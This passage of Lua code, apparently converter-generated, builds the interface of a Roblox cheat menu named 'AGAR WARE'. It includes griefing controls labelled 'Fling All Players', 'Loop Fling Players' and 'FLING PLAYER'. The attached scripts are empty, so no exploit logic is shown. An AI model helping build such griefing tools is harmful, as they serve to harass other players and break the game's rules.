-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow.Text
G2L["31a"] = Instance.new("TextLabel", G2L["319"]);
G2L["31a"]["BorderSizePixel"] = 0;
G2L["31a"]["TextSize"] = 14;
G2L["31a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["31a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31a"]["BackgroundTransparency"] = 1;
G2L["31a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["31a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31a"]["Text"] = [[🕛 All Time: 000000]];
G2L["31a"]["Name"] = [[Text]];
G2L["31a"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow
G2L["31b"] = Instance.new("Frame", G2L["30e"]);
G2L["31b"]["BorderSizePixel"] = 0;
G2L["31b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["31b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["31b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31b"]["Name"] = [[EnlightenRow]];
G2L["31b"]["LayoutOrder"] = 4;
G2L["31b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow.Text
G2L["31c"] = Instance.new("TextLabel", G2L["31b"]);
G2L["31c"]["BorderSizePixel"] = 0;
G2L["31c"]["TextSize"] = 14;
G2L["31c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["31c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31c"]["BackgroundTransparency"] = 1;
G2L["31c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["31c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31c"]["Text"] = [[🌟 Enlighten Users: 0]];
G2L["31c"]["Name"] = [[Text]];
G2L["31c"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage
G2L["31d"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["31d"]["Visible"] = false;
G2L["31d"]["Active"] = true;
G2L["31d"]["BorderSizePixel"] = 0;
G2L["31d"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["31d"]["Name"] = [[TrollPage]];
G2L["31d"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["31d"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["31d"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31d"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["31d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31d"]["ScrollBarThickness"] = 0;
G2L["31d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide
G2L["31e"] = Instance.new("Frame", G2L["31d"]);
G2L["31e"]["BorderSizePixel"] = 0;
G2L["31e"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["31e"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["31e"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["31e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31e"]["Name"] = [[TrollLeftSide]];
G2L["31e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.UIListLayout
G2L["31f"] = Instance.new("UIListLayout", G2L["31e"]);
G2L["31f"]["Padding"] = UDim.new(0, 7);
G2L["31f"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup
G2L["320"] = Instance.new("Frame", G2L["31e"]);
G2L["320"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["320"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["320"]["Size"] = UDim2.new(0, 170, 0, 122);
G2L["320"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["320"]["Name"] = [[FlingGroup]];
G2L["320"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript
G2L["321"] = Instance.new("LocalScript", G2L["320"]);
G2L["321"]["Name"] = [[FlingScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.UIListLayout
G2L["322"] = Instance.new("UIListLayout", G2L["320"]);
G2L["322"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAccentColor
G2L["323"] = Instance.new("Frame", G2L["320"]);
G2L["323"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["323"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["323"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["323"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["323"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["323"]["Name"] = [[FlingAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle
G2L["324"] = Instance.new("TextLabel", G2L["320"]);
G2L["324"]["TextWrapped"] = true;
G2L["324"]["BorderSizePixel"] = 0;
G2L["324"]["TextSize"] = 14;
G2L["324"]["TextScaled"] = true;
G2L["324"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["324"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["324"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["324"]["BackgroundTransparency"] = 0.95;
G2L["324"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["324"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["324"]["Text"] = [[Fling]];
G2L["324"]["LayoutOrder"] = 1;
G2L["324"]["Name"] = [[FlingTitle]];
G2L["324"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle.FlingMinimize
G2L["325"] = Instance.new("TextButton", G2L["324"]);
G2L["325"]["BorderSizePixel"] = 0;
G2L["325"]["TextSize"] = 14;
G2L["325"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["325"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["325"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["325"]["BackgroundTransparency"] = 1;
G2L["325"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["325"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["325"]["Text"] = [[-]];
G2L["325"]["Name"] = [[FlingMinimize]];
G2L["325"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow
G2L["326"] = Instance.new("Frame", G2L["320"]);
G2L["326"]["BorderSizePixel"] = 0;
G2L["326"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["326"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["326"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["326"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["326"]["Name"] = [[FlingAllRow]];
G2L["326"]["LayoutOrder"] = 10;
G2L["326"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow.FlingAllButton
G2L["327"] = Instance.new("TextButton", G2L["326"]);
G2L["327"]["TextSize"] = 14;
G2L["327"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["327"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["327"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["327"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["327"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["327"]["Text"] = [[Fling All Players]];
G2L["327"]["Name"] = [[FlingAllButton]];
G2L["327"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow
G2L["328"] = Instance.new("Frame", G2L["320"]);
G2L["328"]["BorderSizePixel"] = 0;
G2L["328"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["328"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["328"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["328"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["328"]["Name"] = [[TouchFlingRow]];
G2L["328"]["LayoutOrder"] = 2;
G2L["328"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript
G2L["329"] = Instance.new("LocalScript", G2L["328"]);
G2L["329"]["Name"] = [[TouchFlingScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingTickBox
G2L["32a"] = Instance.new("TextButton", G2L["328"]);
G2L["32a"]["TextSize"] = 14;
G2L["32a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["32a"]["Text"] = [[]];
G2L["32a"]["Name"] = [[TouchFlingTickBox]];
G2L["32a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingText
G2L["32b"] = Instance.new("TextLabel", G2L["328"]);
G2L["32b"]["BorderSizePixel"] = 0;
G2L["32b"]["TextSize"] = 14;
G2L["32b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["32b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32b"]["BackgroundTransparency"] = 1;
G2L["32b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["32b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32b"]["Text"] = [[Touch Fling]];
G2L["32b"]["Name"] = [[TouchFlingText]];
G2L["32b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow
G2L["32c"] = Instance.new("Frame", G2L["320"]);
G2L["32c"]["BorderSizePixel"] = 0;
G2L["32c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["32c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["32c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32c"]["Name"] = [[FlingTypeRow]];
G2L["32c"]["LayoutOrder"] = 5;
G2L["32c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip
G2L["32d"] = Instance.new("LocalScript", G2L["32c"]);
G2L["32d"]["Name"] = [[FlingTypeTooltip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingType
G2L["32e"] = Instance.new("TextLabel", G2L["32c"]);
G2L["32e"]["BorderSizePixel"] = 0;
G2L["32e"]["TextSize"] = 14;
G2L["32e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["32e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32e"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["32e"]["BackgroundTransparency"] = 1;
G2L["32e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["32e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32e"]["Text"] = [[Fling Mode:]];
G2L["32e"]["Name"] = [[FlingType]];
G2L["32e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeHelp
G2L["32f"] = Instance.new("TextButton", G2L["32c"]);
G2L["32f"]["TextSize"] = 14;
G2L["32f"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["32f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["32f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["32f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32f"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["32f"]["Text"] = [[?]];
G2L["32f"]["Name"] = [[FlingTypeHelp]];
G2L["32f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow
G2L["330"] = Instance.new("Frame", G2L["320"]);
G2L["330"]["BorderSizePixel"] = 0;
G2L["330"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["330"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["330"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["330"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["330"]["Name"] = [[FlingTypeDropdownRow]];
G2L["330"]["LayoutOrder"] = 6;
G2L["330"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow.FlingTypeDropdown
G2L["331"] = Instance.new("TextButton", G2L["330"]);
G2L["331"]["TextSize"] = 14;
G2L["331"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["331"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["331"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["331"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["331"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["331"]["Text"] = [[Default]];
G2L["331"]["Name"] = [[FlingTypeDropdown]];
G2L["331"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow
G2L["332"] = Instance.new("Frame", G2L["320"]);
G2L["332"]["BorderSizePixel"] = 0;
G2L["332"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["332"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["332"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["332"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["332"]["Name"] = [[LoopFlingRow]];
G2L["332"]["LayoutOrder"] = 10;
G2L["332"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow.LoopFlingButton
G2L["333"] = Instance.new("TextButton", G2L["332"]);
G2L["333"]["TextSize"] = 14;
G2L["333"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["333"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["333"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["333"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["333"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["333"]["Text"] = [[Loop Fling Players]];
G2L["333"]["Name"] = [[LoopFlingButton]];
G2L["333"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide
G2L["334"] = Instance.new("Frame", G2L["31d"]);
G2L["334"]["BorderSizePixel"] = 0;
G2L["334"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["334"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["334"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["334"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["334"]["Name"] = [[TrollRightSide]];
G2L["334"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide.UIListLayout
G2L["335"] = Instance.new("UIListLayout", G2L["334"]);
G2L["335"]["Padding"] = UDim.new(0, 7);
G2L["335"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.TopBar
G2L["336"] = Instance.new("Frame", G2L["9"]);
G2L["336"]["BorderSizePixel"] = 0;
G2L["336"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["336"]["Size"] = UDim2.new(0, 442, 0, 25);
G2L["336"]["Position"] = UDim2.new(-0, 0, 0, 0);
G2L["336"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["336"]["Name"] = [[TopBar]];
-- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript
G2L["337"] = Instance.new("LocalScript", G2L["336"]);
G2L["337"]["Name"] = [[TopBarScript]];
-- StarterGui.AgarWareGui.MainFrame.TopBar.MinimizeGUI
G2L["338"] = Instance.new("TextButton", G2L["336"]);
G2L["338"]["BorderSizePixel"] = 0;
G2L["338"]["TextSize"] = 14;
G2L["338"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["338"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["338"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["338"]["BackgroundTransparency"] = 1;
G2L["338"]["Size"] = UDim2.new(0, 25, 0, 25);
G2L["338"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["338"]["Text"] = [[-]];
G2L["338"]["Name"] = [[MinimizeGUI]];
G2L["338"]["Position"] = UDim2.new(0.99919, -25, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.TopBar.TITLE
G2L["339"] = Instance.new("TextLabel", G2L["336"]);
G2L["339"]["BorderSizePixel"] = 0;
G2L["339"]["TextSize"] = 12;
G2L["339"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["339"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["339"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["339"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["339"]["BackgroundTransparency"] = 1;
G2L["339"]["RichText"] = true;
G2L["339"]["Size"] = UDim2.new(0, 200, 0, 25);
G2L["339"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["339"]["Text"] = [[AGAR WARE | 60 fps | players: 1]];
G2L["339"]["Name"] = [[TITLE]];
G2L["339"]["Position"] = UDim2.new(0.00679, 0, 0, 0);
-- StarterGui.AgarWareGui.KeybindFrame
G2L["33a"] = Instance.new("Frame", G2L["1"]);
G2L["33a"]["ZIndex"] = 999999999;
G2L["33a"]["BorderSizePixel"] = 0;
G2L["33a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["33a"]["Size"] = UDim2.new(0, 80, 0, 88);
G2L["33a"]["Position"] = UDim2.new(0.70017, 0, 0.01856, 0);
G2L["33a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33a"]["Name"] = [[KeybindFrame]];
G2L["33a"]["BackgroundTransparency"] = 0.9;
-- StarterGui.AgarWareGui.KeybindFrame.KeybindScript
G2L["33b"] = Instance.new("LocalScript", G2L["33a"]);
G2L["33b"]["Name"] = [[KeybindScript]];
-- StarterGui.AgarWareGui.KeybindFrame.HideGUI
G2L["33c"] = Instance.new("TextButton", G2L["33a"]);
G2L["33c"]["TextSize"] = 14;
G2L["33c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33c"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33c"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["33c"]["LayoutOrder"] = 1;
G2L["33c"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33c"]["Text"] = [[Hide GUI]];
G2L["33c"]["Name"] = [[HideGUI]];
-- StarterGui.AgarWareGui.KeybindFrame.UIListLayout
G2L["33d"] = Instance.new("UIListLayout", G2L["33a"]);
G2L["33d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.KeybindFrame.LockGUI
G2L["33e"] = Instance.new("TextButton", G2L["33a"]);
G2L["33e"]["TextSize"] = 14;
G2L["33e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33e"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33e"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["33e"]["LayoutOrder"] = 2;
G2L["33e"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33e"]["Text"] = [[Lock GUI]];
G2L["33e"]["Name"] = [[LockGUI]];
G2L["33e"]["Position"] = UDim2.new(0, 0, 0.28409, 0);
-- StarterGui.AgarWareGui.KeybindFrame.VersionNumber
G2L["33f"] = Instance.new("TextButton", G2L["33a"]);
G2L["33f"]["TextWrapped"] = true;
G2L["33f"]["TextSize"] = 14;
G2L["33f"]["TextScaled"] = true;
G2L["33f"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33f"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33f"]["Size"] = UDim2.new(0, 80, 0, 15);
G2L["33f"]["LayoutOrder"] = 30;
G2L["33f"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33f"]["Text"] = [[v2.9.1]];
G2L["33f"]["Name"] = [[VersionNumber]];
G2L["33f"]["Position"] = UDim2.new(0, 0, 1.25, 0);
-- StarterGui.AgarWareGui.KeybindFrame.DragGUI
G2L["340"] = Instance.new("TextButton", G2L["33a"]);
G2L["340"]["TextSize"] = 14;
G2L["340"]["TextColor3"] = Color3.fromRGB(154, 154, 154);
G2L["340"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["340"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["340"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["340"]["LayoutOrder"] = 3;
G2L["340"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["340"]["Text"] = [[DRAG]];
G2L["340"]["Name"] = [[DragGUI]];
-- StarterGui.AgarWareGui.KeybindFrame.BringGUI
G2L["341"] = Instance.new("TextButton", G2L["33a"]);
G2L["341"]["TextWrapped"] = true;
G2L["341"]["TextSize"] = 14;
G2L["341"]["TextScaled"] = true;
G2L["341"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["341"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["341"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["341"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["341"]["LayoutOrder"] = 2;
G2L["341"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["341"]["Text"] = [[Recenter GUI]];
G2L["341"]["Name"] = [[BringGUI]];
G2L["341"]["Position"] = UDim2.new(0, 0, 0.28409, 0);
-- StarterGui.AgarWareGui.ConfirmGriefFrame
G2L["342"] = Instance.new("Frame", G2L["1"]);
G2L["342"]["Visible"] = false;
G2L["342"]["ZIndex"] = 999999999;
G2L["342"]["BorderSizePixel"] = 0;
G2L["342"]["BackgroundColor3"] = Color3.fromRGB(0, 84, 173);
G2L["342"]["Size"] = UDim2.new(0, 135, 0, 161);
G2L["342"]["Position"] = UDim2.new(0.66486, 0, 0.2513, 0);
G2L["342"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["342"]["Name"] = [[ConfirmGriefFrame]];
-- StarterGui.AgarWareGui.ConfirmGriefFrame.UIListLayout
G2L["343"] = Instance.new("UIListLayout", G2L["342"]);
G2L["343"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.ConfirmGriefFrame.FlingConfirm
G2L["344"] = Instance.new("TextButton", G2L["342"]);
G2L["344"]["TextSize"] = 16;
G2L["344"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["344"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["344"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["344"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["344"]["LayoutOrder"] = 3;
G2L["344"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["344"]["Text"] = [[FLING PLAYER]];
G2L["344"]["Name"] = [[FlingConfirm]];
-- StarterGui.AgarWareGui.ConfirmGriefFrame.AlertConfirm
G2L["345"] = Instance.new("TextButton", G2L["342"]);
G2L["345"]["TextWrapped"] = true;
G2L["345"]["TextSize"] = 16;
G2L["345"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["345"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["345"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["345"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["345"]["LayoutOrder"] = 3;
G2L["345"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["345"]["Text"] = [[ALERT IN CHAT]];
G2L["345"]["Name"] = [[AlertConfirm]];
G2L["345"]["Position"] = UDim2.new(0, 0, 0.58065, 0);
-- StarterGui.AgarWareGui.ConfirmGriefFrame.ConfirmTimer
G2L["346"] = Instance.new("TextLabel", G2L["342"]);
G2L["346"]["TextWrapped"] = true;
G2L["346"]["TextSize"] = 14;
G2L["346"]["TextScaled"] = true;
G2L["346"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["346"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["346"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["346"]["Size"] = UDim2.new(0, 135, 0, 14);
G2L["346"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["346"]["Text"] = [[(20.0)]];
G2L["346"]["LayoutOrder"] = 10;
G2L["346"]["Name"] = [[ConfirmTimer]];
G2L["346"]["Position"] = UDim2.new(0, 0, 0.0452, 0);
-- StarterGui.AgarWareGui.ConfirmGriefFrame.FalseAlertConfirm
G2L["347"] = Instance.new("TextButton", G2L["342"]);
G2L["347"]["TextWrapped"] = true;
G2L["347"]["TextSize"] = 20;
G2L["347"]["TextScaled"] = true;
G2L["347"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["347"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0);
G2L["347"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
